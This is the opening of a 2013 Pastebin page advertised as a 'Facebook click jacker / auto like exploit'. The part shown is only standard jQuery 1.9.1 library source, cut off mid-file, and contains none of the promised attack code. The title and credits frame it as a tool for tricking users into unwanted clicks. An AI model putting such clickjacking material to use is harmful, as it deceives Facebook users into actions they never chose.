Advertisement
ZaraByte

FACEBOOK CLICK JACKER / FACEBOOK AUTO LIKE EXPLOIT

Jun 4th, 2013
362
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 273.13 KB | None | 0 0
  1. FACEBOOK CLICK JACKER / FACEBOOK AUTO LIKE EXPLOIT
  2. SUBMITTED TO PASTEBIN BY: ZARABYTE
  3. URL: WWW.ZARABYTE.COM
  4. TWITTER: HTTP://TWITTER.COM/ZARABYTE
  5. YOUTUBE: YOUTUBE.COM/PHIBEROPTICS
  6. ---------------------------------------
  7. //START JQUERY.JS SOURCE CODE
  8. ---------------------------------------
  9. /*!
  10. * jQuery JavaScript Library v1.9.1
  11. * http://jquery.com/
  12. *
  13. * Includes Sizzle.js
  14. * http://sizzlejs.com/
  15. *
  16. * Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors
  17. * Released under the MIT license
  18. * http://jquery.org/license
  19. *
  20. * Date: 2013-2-4
  21. */
  22. (function( window, undefined ) {
  23.  
  24. // Can't do this because several apps including ASP.NET trace
  25. // the stack via arguments.caller.callee and Firefox dies if
  26. // you try to trace through "use strict" call chains. (#13335)
  27. // Support: Firefox 18+
  28. //"use strict";
  29. var
  30. // The deferred used on DOM ready
  31. readyList,
  32.  
  33. // A central reference to the root jQuery(document)
  34. rootjQuery,
  35.  
  36. // Support: IE<9
  37. // For `typeof node.method` instead of `node.method !== undefined`
  38. core_strundefined = typeof undefined,
  39.  
  40. // Use the correct document accordingly with window argument (sandbox)
  41. document = window.document,
  42. location = window.location,
  43.  
  44. // Map over jQuery in case of overwrite
  45. _jQuery = window.jQuery,
  46.  
  47. // Map over the $ in case of overwrite
  48. _$ = window.$,
  49.  
  50. // [[Class]] -> type pairs
  51. class2type = {},
  52.  
  53. // List of deleted data cache ids, so we can reuse them
  54. core_deletedIds = [],
  55.  
  56. core_version = "1.9.1",
  57.  
  58. // Save a reference to some core methods
  59. core_concat = core_deletedIds.concat,
  60. core_push = core_deletedIds.push,
  61. core_slice = core_deletedIds.slice,
  62. core_indexOf = core_deletedIds.indexOf,
  63. core_toString = class2type.toString,
  64. core_hasOwn = class2type.hasOwnProperty,
  65. core_trim = core_version.trim,
  66.  
  67. // Define a local copy of jQuery
  68. jQuery = function( selector, context ) {
  69. // The jQuery object is actually just the init constructor 'enhanced'
  70. return new jQuery.fn.init( selector, context, rootjQuery );
  71. },
  72.  
  73. // Used for matching numbers
  74. core_pnum = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,
  75.  
  76. // Used for splitting on whitespace
  77. core_rnotwhite = /\S+/g,
  78.  
  79. // Make sure we trim BOM and NBSP (here's looking at you, Safari 5.0 and IE)
  80. rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
  81.  
  82. // A simple way to check for HTML strings
  83. // Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
  84. // Strict HTML recognition (#11290: must start with <)
  85. rquickExpr = /^(?:(<[\w\W]+>)[^>]*|#([\w-]*))$/,
  86.  
  87. // Match a standalone tag
  88. rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>|)$/,
  89.  
  90. // JSON RegExp
  91. rvalidchars = /^[\],:{}\s]*$/,
  92. rvalidbraces = /(?:^|:|,)(?:\s*\[)+/g,
  93. rvalidescape = /\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,
  94. rvalidtokens = /"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,
  95.  
  96. // Matches dashed string for camelizing
  97. rmsPrefix = /^-ms-/,
  98. rdashAlpha = /-([\da-z])/gi,
  99.  
  100. // Used by jQuery.camelCase as callback to replace()
  101. fcamelCase = function( all, letter ) {
  102. return letter.toUpperCase();
  103. },
  104.  
  105. // The ready event handler
  106. completed = function( event ) {
  107.  
  108. // readyState === "complete" is good enough for us to call the dom ready in oldIE
  109. if ( document.addEventListener || event.type === "load" || document.readyState === "complete" ) {
  110. detach();
  111. jQuery.ready();
  112. }
  113. },
  114. // Clean-up method for dom ready events
  115. detach = function() {
  116. if ( document.addEventListener ) {
  117. document.removeEventListener( "DOMContentLoaded", completed, false );
  118. window.removeEventListener( "load", completed, false );
  119.  
  120. } else {
  121. document.detachEvent( "onreadystatechange", completed );
  122. window.detachEvent( "onload", completed );
  123. }
  124. };
  125.  
  126. jQuery.fn = jQuery.prototype = {
  127. // The current version of jQuery being used
  128. jquery: core_version,
  129.  
  130. constructor: jQuery,
  131. init: function( selector, context, rootjQuery ) {
  132. var match, elem;
  133.  
  134. // HANDLE: $(""), $(null), $(undefined), $(false)
  135. if ( !selector ) {
  136. return this;
  137. }
  138.  
  139. // Handle HTML strings
  140. if ( typeof selector === "string" ) {
  141. if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) {
  142. // Assume that strings that start and end with <> are HTML and skip the regex check
  143. match = [ null, selector, null ];
  144.  
  145. } else {
  146. match = rquickExpr.exec( selector );
  147. }
  148.  
  149. // Match html or make sure no context is specified for #id
  150. if ( match && (match[1] || !context) ) {
  151.  
  152. // HANDLE: $(html) -> $(array)
  153. if ( match[1] ) {
  154. context = context instanceof jQuery ? context[0] : context;
  155.  
  156. // scripts is true for back-compat
  157. jQuery.merge( this, jQuery.parseHTML(
  158. match[1],
  159. context && context.nodeType ? context.ownerDocument || context : document,
  160. true
  161. ) );
  162.  
  163. // HANDLE: $(html, props)
  164. if ( rsingleTag.test( match[1] ) && jQuery.isPlainObject( context ) ) {
  165. for ( match in context ) {
  166. // Properties of context are called as methods if possible
  167. if ( jQuery.isFunction( this[ match ] ) ) {
  168. this[ match ]( context[ match ] );
  169.  
  170. // ...and otherwise set as attributes
  171. } else {
  172. this.attr( match, context[ match ] );
  173. }
  174. }
  175. }
  176.  
  177. return this;
  178.  
  179. // HANDLE: $(#id)
  180. } else {
  181. elem = document.getElementById( match[2] );
  182.  
  183. // Check parentNode to catch when Blackberry 4.6 returns
  184. // nodes that are no longer in the document #6963
  185. if ( elem && elem.parentNode ) {
  186. // Handle the case where IE and Opera return items
  187. // by name instead of ID
  188. if ( elem.id !== match[2] ) {
  189. return rootjQuery.find( selector );
  190. }
  191.  
  192. // Otherwise, we inject the element directly into the jQuery object
  193. this.length = 1;
  194. this[0] = elem;
  195. }
  196.  
  197. this.context = document;
  198. this.selector = selector;
  199. return this;
  200. }
  201.  
  202. // HANDLE: $(expr, $(...))
  203. } else if ( !context || context.jquery ) {
  204. return ( context || rootjQuery ).find( selector );
  205.  
  206. // HANDLE: $(expr, context)
  207. // (which is just equivalent to: $(context).find(expr)
  208. } else {
  209. return this.constructor( context ).find( selector );
  210. }
  211.  
  212. // HANDLE: $(DOMElement)
  213. } else if ( selector.nodeType ) {
  214. this.context = this[0] = selector;
  215. this.length = 1;
  216. return this;
  217.  
  218. // HANDLE: $(function)
  219. // Shortcut for document ready
  220. } else if ( jQuery.isFunction( selector ) ) {
  221. return rootjQuery.ready( selector );
  222. }
  223.  
  224. if ( selector.selector !== undefined ) {
  225. this.selector = selector.selector;
  226. this.context = selector.context;
  227. }
  228.  
  229. return jQuery.makeArray( selector, this );
  230. },
  231.  
  232. // Start with an empty selector
  233. selector: "",
  234.  
  235. // The default length of a jQuery object is 0
  236. length: 0,
  237.  
  238. // The number of elements contained in the matched element set
  239. size: function() {
  240. return this.length;
  241. },
  242.  
  243. toArray: function() {
  244. return core_slice.call( this );
  245. },
  246.  
  247. // Get the Nth element in the matched element set OR
  248. // Get the whole matched element set as a clean array
  249. get: function( num ) {
  250. return num == null ?
  251.  
  252. // Return a 'clean' array
  253. this.toArray() :
  254.  
  255. // Return just the object
  256. ( num < 0 ? this[ this.length + num ] : this[ num ] );
  257. },
  258.  
  259. // Take an array of elements and push it onto the stack
  260. // (returning the new matched element set)
  261. pushStack: function( elems ) {
  262.  
  263. // Build a new jQuery matched element set
  264. var ret = jQuery.merge( this.constructor(), elems );
  265.  
  266. // Add the old object onto the stack (as a reference)
  267. ret.prevObject = this;
  268. ret.context = this.context;
  269.  
  270. // Return the newly-formed element set
  271. return ret;
  272. },
  273.  
  274. // Execute a callback for every element in the matched set.
  275. // (You can seed the arguments with an array of args, but this is
  276. // only used internally.)
  277. each: function( callback, args ) {
  278. return jQuery.each( this, callback, args );
  279. },
  280.  
  281. ready: function( fn ) {
  282. // Add the callback
  283. jQuery.ready.promise().done( fn );
  284.  
  285. return this;
  286. },
  287.  
  288. slice: function() {
  289. return this.pushStack( core_slice.apply( this, arguments ) );
  290. },
  291.  
  292. first: function() {
  293. return this.eq( 0 );
  294. },
  295.  
  296. last: function() {
  297. return this.eq( -1 );
  298. },
  299.  
  300. eq: function( i ) {
  301. var len = this.length,
  302. j = +i + ( i < 0 ? len : 0 );
  303. return this.pushStack( j >= 0 && j < len ? [ this[j] ] : [] );
  304. },
  305.  
  306. map: function( callback ) {
  307. return this.pushStack( jQuery.map(this, function( elem, i ) {
  308. return callback.call( elem, i, elem );
  309. }));
  310. },
  311.  
  312. end: function() {
  313. return this.prevObject || this.constructor(null);
  314. },
  315.  
  316. // For internal use only.
  317. // Behaves like an Array's method, not like a jQuery method.
  318. push: core_push,
  319. sort: [].sort,
  320. splice: [].splice
  321. };
  322.  
  323. // Give the init function the jQuery prototype for later instantiation
  324. jQuery.fn.init.prototype = jQuery.fn;
  325.  
  326. jQuery.extend = jQuery.fn.extend = function() {
  327. var src, copyIsArray, copy, name, options, clone,
  328. target = arguments[0] || {},
  329. i = 1,
  330. length = arguments.length,
  331. deep = false;
  332.  
  333. // Handle a deep copy situation
  334. if ( typeof target === "boolean" ) {
  335. deep = target;
  336. target = arguments[1] || {};
  337. // skip the boolean and the target
  338. i = 2;
  339. }
  340.  
  341. // Handle case when target is a string or something (possible in deep copy)
  342. if ( typeof target !== "object" && !jQuery.isFunction(target) ) {
  343. target = {};
  344. }
  345.  
  346. // extend jQuery itself if only one argument is passed
  347. if ( length === i ) {
  348. target = this;
  349. --i;
  350. }
  351.  
  352. for ( ; i < length; i++ ) {
  353. // Only deal with non-null/undefined values
  354. if ( (options = arguments[ i ]) != null ) {
  355. // Extend the base object
  356. for ( name in options ) {
  357. src = target[ name ];
  358. copy = options[ name ];
  359.  
  360. // Prevent never-ending loop
  361. if ( target === copy ) {
  362. continue;
  363. }
  364.  
  365. // Recurse if we're merging plain objects or arrays
  366. if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {
  367. if ( copyIsArray ) {
  368. copyIsArray = false;
  369. clone = src && jQuery.isArray(src) ? src : [];
  370.  
  371. } else {
  372. clone = src && jQuery.isPlainObject(src) ? src : {};
  373. }
  374.  
  375. // Never move original objects, clone them
  376. target[ name ] = jQuery.extend( deep, clone, copy );
  377.  
  378. // Don't bring in undefined values
  379. } else if ( copy !== undefined ) {
  380. target[ name ] = copy;
  381. }
  382. }
  383. }
  384. }
  385.  
  386. // Return the modified object
  387. return target;
  388. };
  389.  
  390. jQuery.extend({
  391. noConflict: function( deep ) {
  392. if ( window.$ === jQuery ) {
  393. window.$ = _$;
  394. }
  395.  
  396. if ( deep && window.jQuery === jQuery ) {
  397. window.jQuery = _jQuery;
  398. }
  399.  
  400. return jQuery;
  401. },
  402.  
  403. // Is the DOM ready to be used? Set to true once it occurs.
  404. isReady: false,
  405.  
  406. // A counter to track how many items to wait for before
  407. // the ready event fires. See #6781
  408. readyWait: 1,
  409.  
  410. // Hold (or release) the ready event
  411. holdReady: function( hold ) {
  412. if ( hold ) {
  413. jQuery.readyWait++;
  414. } else {
  415. jQuery.ready( true );
  416. }
  417. },
  418.  
  419. // Handle when the DOM is ready
  420. ready: function( wait ) {
  421.  
  422. // Abort if there are pending holds or we're already ready
  423. if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
  424. return;
  425. }
  426.  
  427. // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).
  428. if ( !document.body ) {
  429. return setTimeout( jQuery.ready );
  430. }
  431.  
  432. // Remember that the DOM is ready
  433. jQuery.isReady = true;
  434.  
  435. // If a normal DOM Ready event fired, decrement, and wait if need be
  436. if ( wait !== true && --jQuery.readyWait > 0 ) {
  437. return;
  438. }
  439.  
  440. // If there are functions bound, to execute
  441. readyList.resolveWith( document, [ jQuery ] );
  442.  
  443. // Trigger any bound ready events
  444. if ( jQuery.fn.trigger ) {
  445. jQuery( document ).trigger("ready").off("ready");
  446. }
  447. },
  448.  
  449. // See test/unit/core.js for details concerning isFunction.
  450. // Since version 1.3, DOM methods and functions like alert
  451. // aren't supported. They return false on IE (#2968).
  452. isFunction: function( obj ) {
  453. return jQuery.type(obj) === "function";
  454. },
  455.  
  456. isArray: Array.isArray || function( obj ) {
  457. return jQuery.type(obj) === "array";
  458. },
  459.  
  460. isWindow: function( obj ) {
  461. return obj != null && obj == obj.window;
  462. },
  463.  
  464. isNumeric: function( obj ) {
  465. return !isNaN( parseFloat(obj) ) && isFinite( obj );
  466. },
  467.  
  468. type: function( obj ) {
  469. if ( obj == null ) {
  470. return String( obj );
  471. }
  472. return typeof obj === "object" || typeof obj === "function" ?
  473. class2type[ core_toString.call(obj) ] || "object" :
  474. typeof obj;
  475. },
  476.  
  477. isPlainObject: function( obj ) {
  478. // Must be an Object.
  479. // Because of IE, we also have to check the presence of the constructor property.
  480. // Make sure that DOM nodes and window objects don't pass through, as well
  481. if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) {
  482. return false;
  483. }
  484.  
  485. try {
  486. // Not own constructor property must be Object
  487. if ( obj.constructor &&
  488. !core_hasOwn.call(obj, "constructor") &&
  489. !core_hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) {
  490. return false;
  491. }
  492. } catch ( e ) {
  493. // IE8,9 Will throw exceptions on certain host objects #9897
  494. return false;
  495. }
  496.  
  497. // Own properties are enumerated firstly, so to speed up,
  498. // if last one is own, then all properties are own.
  499.  
  500. var key;
  501. for ( key in obj ) {}
  502.  
  503. return key === undefined || core_hasOwn.call( obj, key );
  504. },
  505.  
  506. isEmptyObject: function( obj ) {
  507. var name;
  508. for ( name in obj ) {
  509. return false;
  510. }
  511. return true;
  512. },
  513.  
  514. error: function( msg ) {
  515. throw new Error( msg );
  516. },
  517.  
  518. // data: string of html
  519. // context (optional): If specified, the fragment will be created in this context, defaults to document
  520. // keepScripts (optional): If true, will include scripts passed in the html string
  521. parseHTML: function( data, context, keepScripts ) {
  522. if ( !data || typeof data !== "string" ) {
  523. return null;
  524. }
  525. if ( typeof context === "boolean" ) {
  526. keepScripts = context;
  527. context = false;
  528. }
  529. context = context || document;
  530.  
  531. var parsed = rsingleTag.exec( data ),
  532. scripts = !keepScripts && [];
  533.  
  534. // Single tag
  535. if ( parsed ) {
  536. return [ context.createElement( parsed[1] ) ];
  537. }
  538.  
  539. parsed = jQuery.buildFragment( [ data ], context, scripts );
  540. if ( scripts ) {
  541. jQuery( scripts ).remove();
  542. }
  543. return jQuery.merge( [], parsed.childNodes );
  544. },
  545.  
  546. parseJSON: function( data ) {
  547. // Attempt to parse using the native JSON parser first
  548. if ( window.JSON && window.JSON.parse ) {
  549. return window.JSON.parse( data );
  550. }
  551.  
  552. if ( data === null ) {
  553. return data;
  554. }
  555.  
  556. if ( typeof data === "string" ) {
  557.  
  558. // Make sure leading/trailing whitespace is removed (IE can't handle it)
  559. data = jQuery.trim( data );
  560.  
  561. if ( data ) {
  562. // Make sure the incoming data is actual JSON
  563. // Logic borrowed from http://json.org/json2.js
  564. if ( rvalidchars.test( data.replace( rvalidescape, "@" )
  565. .replace( rvalidtokens, "]" )
  566. .replace( rvalidbraces, "")) ) {
  567.  
  568. return ( new Function( "return " + data ) )();
  569. }
  570. }
  571. }
  572.  
  573. jQuery.error( "Invalid JSON: " + data );
  574. },
  575.  
  576. // Cross-browser xml parsing
  577. parseXML: function( data ) {
  578. var xml, tmp;
  579. if ( !data || typeof data !== "string" ) {
  580. return null;
  581. }
  582. try {
  583. if ( window.DOMParser ) { // Standard
  584. tmp = new DOMParser();
  585. xml = tmp.parseFromString( data , "text/xml" );
  586. } else { // IE
  587. xml = new ActiveXObject( "Microsoft.XMLDOM" );
  588. xml.async = "false";
  589. xml.loadXML( data );
  590. }
  591. } catch( e ) {
  592. xml = undefined;
  593. }
  594. if ( !xml || !xml.documentElement || xml.getElementsByTagName( "parsererror" ).length ) {
  595. jQuery.error( "Invalid XML: " + data );
  596. }
  597. return xml;
  598. },
  599.  
  600. noop: function() {},
  601.  
  602. // Evaluates a script in a global context
  603. // Workarounds based on findings by Jim Driscoll
  604. // http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context
  605. globalEval: function( data ) {
  606. if ( data && jQuery.trim( data ) ) {
  607. // We use execScript on Internet Explorer
  608. // We use an anonymous function so that context is window
  609. // rather than jQuery in Firefox
  610. ( window.execScript || function( data ) {
  611. window[ "eval" ].call( window, data );
  612. } )( data );
  613. }
  614. },
  615.  
  616. // Convert dashed to camelCase; used by the css and data modules
  617. // Microsoft forgot to hump their vendor prefix (#9572)
  618. camelCase: function( string ) {
  619. return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
  620. },
  621.  
  622. nodeName: function( elem, name ) {
  623. return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
  624. },
  625.  
  626. // args is for internal usage only
  627. each: function( obj, callback, args ) {
  628. var value,
  629. i = 0,
  630. length = obj.length,
  631. isArray = isArraylike( obj );
  632.  
  633. if ( args ) {
  634. if ( isArray ) {
  635. for ( ; i < length; i++ ) {
  636. value = callback.apply( obj[ i ], args );
  637.  
  638. if ( value === false ) {
  639. break;
  640. }
  641. }
  642. } else {
  643. for ( i in obj ) {
  644. value = callback.apply( obj[ i ], args );
  645.  
  646. if ( value === false ) {
  647. break;
  648. }
  649. }
  650. }
  651.  
  652. // A special, fast, case for the most common use of each
  653. } else {
  654. if ( isArray ) {
  655. for ( ; i < length; i++ ) {
  656. value = callback.call( obj[ i ], i, obj[ i ] );
  657.  
  658. if ( value === false ) {
  659. break;
  660. }
  661. }
  662. } else {
  663. for ( i in obj ) {
  664. value = callback.call( obj[ i ], i, obj[ i ] );
  665.  
  666. if ( value === false ) {
  667. break;
  668. }
  669. }
  670. }
  671. }
  672.  
  673. return obj;
  674. },
  675.  
  676. // Use native String.trim function wherever possible
  677. trim: core_trim && !core_trim.call("\uFEFF\xA0") ?
  678. function( text ) {
  679. return text == null ?
  680. "" :
  681. core_trim.call( text );
  682. } :
  683.  
  684. // Otherwise use our own trimming functionality
  685. function( text ) {
  686. return text == null ?
  687. "" :
  688. ( text + "" ).replace( rtrim, "" );
  689. },
  690.  
  691. // results is for internal usage only
  692. makeArray: function( arr, results ) {
  693. var ret = results || [];
  694.  
  695. if ( arr != null ) {
  696. if ( isArraylike( Object(arr) ) ) {
  697. jQuery.merge( ret,
  698. typeof arr === "string" ?
  699. [ arr ] : arr
  700. );
  701. } else {
  702. core_push.call( ret, arr );
  703. }
  704. }
  705.  
  706. return ret;
  707. },
  708.  
  709. inArray: function( elem, arr, i ) {
  710. var len;
  711.  
  712. if ( arr ) {
  713. if ( core_indexOf ) {
  714. return core_indexOf.call( arr, elem, i );
  715. }
  716.  
  717. len = arr.length;
  718. i = i ? i < 0 ? Math.max( 0, len + i ) : i : 0;
  719.  
  720. for ( ; i < len; i++ ) {
  721. // Skip accessing in sparse arrays
  722. if ( i in arr && arr[ i ] === elem ) {
  723. return i;
  724. }
  725. }
  726. }
  727.  
  728. return -1;
  729. },
  730.  
  731. merge: function( first, second ) {
  732. var l = second.length,
  733. i = first.length,
  734. j = 0;
  735.  
  736. if ( typeof l === "number" ) {
  737. for ( ; j < l; j++ ) {
  738. first[ i++ ] = second[ j ];
  739. }
  740. } else {
  741. while ( second[j] !== undefined ) {
  742. first[ i++ ] = second[ j++ ];
  743. }
  744. }
  745.  
  746. first.length = i;
  747.  
  748. return first;
  749. },
  750.  
  751. grep: function( elems, callback, inv ) {
  752. var retVal,
  753. ret = [],
  754. i = 0,
  755. length = elems.length;
  756. inv = !!inv;
  757.  
  758. // Go through the array, only saving the items
  759. // that pass the validator function
  760. for ( ; i < length; i++ ) {
  761. retVal = !!callback( elems[ i ], i );
  762. if ( inv !== retVal ) {
  763. ret.push( elems[ i ] );
  764. }
  765. }
  766.  
  767. return ret;
  768. },
  769.  
  770. // arg is for internal usage only
  771. map: function( elems, callback, arg ) {
  772. var value,
  773. i = 0,
  774. length = elems.length,
  775. isArray = isArraylike( elems ),
  776. ret = [];
  777.  
  778. // Go through the array, translating each of the items to their
  779. if ( isArray ) {
  780. for ( ; i < length; i++ ) {
  781. value = callback( elems[ i ], i, arg );
  782.  
  783. if ( value != null ) {
  784. ret[ ret.length ] = value;
  785. }
  786. }
  787.  
  788. // Go through every key on the object,
  789. } else {
  790. for ( i in elems ) {
  791. value = callback( elems[ i ], i, arg );
  792.  
  793. if ( value != null ) {
  794. ret[ ret.length ] = value;
  795. }
  796. }
  797. }
  798.  
  799. // Flatten any nested arrays
  800. return core_concat.apply( [], ret );
  801. },
  802.  
  803. // A global GUID counter for objects
  804. guid: 1,
  805.  
  806. // Bind a function to a context, optionally partially applying any
  807. // arguments.
  808. proxy: function( fn, context ) {
  809. var args, proxy, tmp;
  810.  
  811. if ( typeof context === "string" ) {
  812. tmp = fn[ context ];
  813. context = fn;
  814. fn = tmp;
  815. }
  816.  
  817. // Quick check to determine if target is callable, in the spec
  818. // this throws a TypeError, but we will just return undefined.
  819. if ( !jQuery.isFunction( fn ) ) {
  820. return undefined;
  821. }
  822.  
  823. // Simulated bind
  824. args = core_slice.call( arguments, 2 );
  825. proxy = function() {
  826. return fn.apply( context || this, args.concat( core_slice.call( arguments ) ) );
  827. };
  828.  
  829. // Set the guid of unique handler to the same of original handler, so it can be removed
  830. proxy.guid = fn.guid = fn.guid || jQuery.guid++;
  831.  
  832. return proxy;
  833. },
  834.  
  835. // Multifunctional method to get and set values of a collection
  836. // The value/s can optionally be executed if it's a function
  837. access: function( elems, fn, key, value, chainable, emptyGet, raw ) {
  838. var i = 0,
  839. length = elems.length,
  840. bulk = key == null;
  841.  
  842. // Sets many values
  843. if ( jQuery.type( key ) === "object" ) {
  844. chainable = true;
  845. for ( i in key ) {
  846. jQuery.access( elems, fn, i, key[i], true, emptyGet, raw );
  847. }
  848.  
  849. // Sets one value
  850. } else if ( value !== undefined ) {
  851. chainable = true;
  852.  
  853. if ( !jQuery.isFunction( value ) ) {
  854. raw = true;
  855. }
  856.  
  857. if ( bulk ) {
  858. // Bulk operations run against the entire set
  859. if ( raw ) {
  860. fn.call( elems, value );
  861. fn = null;
  862.  
  863. // ...except when executing function values
  864. } else {
  865. bulk = fn;
  866. fn = function( elem, key, value ) {
  867. return bulk.call( jQuery( elem ), value );
  868. };
  869. }
  870. }
  871.  
  872. if ( fn ) {
  873. for ( ; i < length; i++ ) {
  874. fn( elems[i], key, raw ? value : value.call( elems[i], i, fn( elems[i], key ) ) );
  875. }
  876. }
  877. }
  878.  
  879. return chainable ?
  880. elems :
  881.  
  882. // Gets
  883. bulk ?
  884. fn.call( elems ) :
  885. length ? fn( elems[0], key ) : emptyGet;
  886. },
  887.  
  888. now: function() {
  889. return ( new Date() ).getTime();
  890. }
  891. });
  892.  
  893. jQuery.ready.promise = function( obj ) {
  894. if ( !readyList ) {
  895.  
  896. readyList = jQuery.Deferred();
  897.  
  898. // Catch cases where $(document).ready() is called after the browser event has already occurred.
  899. // we once tried to use readyState "interactive" here, but it caused issues like the one
  900. // discovered by ChrisS here: http://bugs.jquery.com/ticket/12282#comment:15
  901. if ( document.readyState === "complete" ) {
  902. // Handle it asynchronously to allow scripts the opportunity to delay ready
  903. setTimeout( jQuery.ready );
  904.  
  905. // Standards-based browsers support DOMContentLoaded
  906. } else if ( document.addEventListener ) {
  907. // Use the handy event callback
  908. document.addEventListener( "DOMContentLoaded", completed, false );
  909.  
  910. // A fallback to window.onload, that will always work
  911. window.addEventListener( "load", completed, false );
  912.  
  913. // If IE event model is used
  914. } else {
  915. // Ensure firing before onload, maybe late but safe also for iframes
  916. document.attachEvent( "onreadystatechange", completed );
  917.  
  918. // A fallback to window.onload, that will always work
  919. window.attachEvent( "onload", completed );
  920.  
  921. // If IE and not a frame
  922. // continually check to see if the document is ready
  923. var top = false;
  924.  
  925. try {
  926. top = window.frameElement == null && document.documentElement;
  927. } catch(e) {}
  928.  
  929. if ( top && top.doScroll ) {
  930. (function doScrollCheck() {
  931. if ( !jQuery.isReady ) {
  932.  
  933. try {
  934. // Use the trick by Diego Perini
  935. // http://javascript.nwbox.com/IEContentLoaded/
  936. top.doScroll("left");
  937. } catch(e) {
  938. return setTimeout( doScrollCheck, 50 );
  939. }
  940.  
  941. // detach all dom ready events
  942. detach();
  943.  
  944. // and execute any waiting functions
  945. jQuery.ready();
  946. }
  947. })();
  948. }
  949. }
  950. }
  951. return readyList.promise( obj );
  952. };
  953.  
  954. // Populate the class2type map
  955. jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
  956. class2type[ "[object " + name + "]" ] = name.toLowerCase();
  957. });
  958.  
  959. function isArraylike( obj ) {
  960. var length = obj.length,
  961. type = jQuery.type( obj );
  962.  
  963. if ( jQuery.isWindow( obj ) ) {
  964. return false;
  965. }
  966.  
  967. if ( obj.nodeType === 1 && length ) {
  968. return true;
  969. }
  970.  
  971. return type === "array" || type !== "function" &&
  972. ( length === 0 ||
  973. typeof length === "number" && length > 0 && ( length - 1 ) in obj );
  974. }
  975.  
  976. // All jQuery objects should point back to these
  977. rootjQuery = jQuery(document);
  978. // String to Object options format cache
  979. var optionsCache = {};
  980.  
  981. // Convert String-formatted options into Object-formatted ones and store in cache
  982. function createOptions( options ) {
  983. var object = optionsCache[ options ] = {};
  984. jQuery.each( options.match( core_rnotwhite ) || [], function( _, flag ) {
  985. object[ flag ] = true;
  986. });
  987. return object;
  988. }
  989.  
  990. /*
  991. * Create a callback list using the following parameters:
  992. *
  993. * options: an optional list of space-separated options that will change how
  994. * the callback list behaves or a more traditional option object
  995. *
  996. * By default a callback list will act like an event callback list and can be
  997. * "fired" multiple times.
  998. *
  999. * Possible options:
  1000. *
  1001. * once: will ensure the callback list can only be fired once (like a Deferred)
  1002. *
  1003. * memory: will keep track of previous values and will call any callback added
  1004. * after the list has been fired right away with the latest "memorized"
  1005. * values (like a Deferred)
  1006. *
  1007. * unique: will ensure a callback can only be added once (no duplicate in the list)
  1008. *
  1009. * stopOnFalse: interrupt callings when a callback returns false
  1010. *
  1011. */
  1012. jQuery.Callbacks = function( options ) {
  1013.  
  1014. // Convert options from String-formatted to Object-formatted if needed
  1015. // (we check in cache first)
  1016. options = typeof options === "string" ?
  1017. ( optionsCache[ options ] || createOptions( options ) ) :
  1018. jQuery.extend( {}, options );
  1019.  
  1020. var // Flag to know if list is currently firing
  1021. firing,
  1022. // Last fire value (for non-forgettable lists)
  1023. memory,
  1024. // Flag to know if list was already fired
  1025. fired,
  1026. // End of the loop when firing
  1027. firingLength,
  1028. // Index of currently firing callback (modified by remove if needed)
  1029. firingIndex,
  1030. // First callback to fire (used internally by add and fireWith)
  1031. firingStart,
  1032. // Actual callback list
  1033. list = [],
  1034. // Stack of fire calls for repeatable lists
  1035. stack = !options.once && [],
  1036. // Fire callbacks
  1037. fire = function( data ) {
  1038. memory = options.memory && data;
  1039. fired = true;
  1040. firingIndex = firingStart || 0;
  1041. firingStart = 0;
  1042. firingLength = list.length;
  1043. firing = true;
  1044. for ( ; list && firingIndex < firingLength; firingIndex++ ) {
  1045. if ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) {
  1046. memory = false; // To prevent further calls using add
  1047. break;
  1048. }
  1049. }
  1050. firing = false;
  1051. if ( list ) {
  1052. if ( stack ) {
  1053. if ( stack.length ) {
  1054. fire( stack.shift() );
  1055. }
  1056. } else if ( memory ) {
  1057. list = [];
  1058. } else {
  1059. self.disable();
  1060. }
  1061. }
  1062. },
  1063. // Actual Callbacks object
  1064. self = {
  1065. // Add a callback or a collection of callbacks to the list
  1066. add: function() {
  1067. if ( list ) {
  1068. // First, we save the current length
  1069. var start = list.length;
  1070. (function add( args ) {
  1071. jQuery.each( args, function( _, arg ) {
  1072. var type = jQuery.type( arg );
  1073. if ( type === "function" ) {
  1074. if ( !options.unique || !self.has( arg ) ) {
  1075. list.push( arg );
  1076. }
  1077. } else if ( arg && arg.length && type !== "string" ) {
  1078. // Inspect recursively
  1079. add( arg );
  1080. }
  1081. });
  1082. })( arguments );
  1083. // Do we need to add the callbacks to the
  1084. // current firing batch?
  1085. if ( firing ) {
  1086. firingLength = list.length;
  1087. // With memory, if we're not firing then
  1088. // we should call right away
  1089. } else if ( memory ) {
  1090. firingStart = start;
  1091. fire( memory );
  1092. }
  1093. }
  1094. return this;
  1095. },
  1096. // Remove a callback from the list
  1097. remove: function() {
  1098. if ( list ) {
  1099. jQuery.each( arguments, function( _, arg ) {
  1100. var index;
  1101. while( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
  1102. list.splice( index, 1 );
  1103. // Handle firing indexes
  1104. if ( firing ) {
  1105. if ( index <= firingLength ) {
  1106. firingLength--;
  1107. }
  1108. if ( index <= firingIndex ) {
  1109. firingIndex--;
  1110. }
  1111. }
  1112. }
  1113. });
  1114. }
  1115. return this;
  1116. },
  1117. // Check if a given callback is in the list.
  1118. // If no argument is given, return whether or not list has callbacks attached.
  1119. has: function( fn ) {
  1120. return fn ? jQuery.inArray( fn, list ) > -1 : !!( list && list.length );
  1121. },
